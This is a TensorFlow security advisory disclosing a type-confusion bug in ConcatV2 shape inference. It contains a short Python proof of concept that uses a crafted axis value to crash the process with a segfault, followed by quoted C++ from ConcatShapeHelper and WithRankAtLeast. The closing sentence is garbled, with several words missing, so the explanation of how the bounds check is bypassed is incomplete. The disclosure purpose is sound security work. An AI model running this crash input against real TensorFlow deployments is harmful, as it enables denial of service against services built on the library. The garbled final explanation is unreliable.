Type confusion leading to segfault in Tensorflow

Impact

The implementation of shape inference for ConcatV2 can be used to trigger a denial of service attack via a segfault caused by a type confusion:

import tensorflow as tf

@tf.function
def test():
  y = tf.raw_ops.ConcatV2(
    values=[[1,2,3],[4,5,6]],
    axis = 0xb500005b)
  return y

test()

The axis argument is translated into concat_dim in the ConcatShapeHelper helper function. Then, a value for min_rank is computed based on concat_dim. This is then used to validate that the values tensor has at least the required rank:

  int64_t concat_dim;
  if (concat_dim_t->dtype() == DT_INT32) {
    concat_dim = static_cast<int64_t>(concat_dim_t->flat<int32>()(0));
  } else {
    concat_dim = concat_dim_t->flat<int64_t>()(0);
  }

  // Minimum required number of dimensions.
  const int min_rank = concat_dim < 0 ? -concat_dim : concat_dim + 1;

  // ...
  ShapeHandle input = c->input(end_value_index - 1);
  TF_RETURN_IF_ERROR(c->WithRankAtLeast(input, min_rank, &input));

However, WithRankAtLeast receives the lower bound as a 64-bits value and then compares it against the maximum 32-bits integer value that could be represented:

Status InferenceContext::WithRankAtLeast(ShapeHandle shape, int64_t rank,
                                         ShapeHandle* out) {
  if (rank > kint32max) {
    return errors::InvalidArgument("Rank cannot exceed kint32max");
  }
  // ...
}

Due to the fact that is a 32-bits value and the value of , the argument is a , so the error check is bypassed.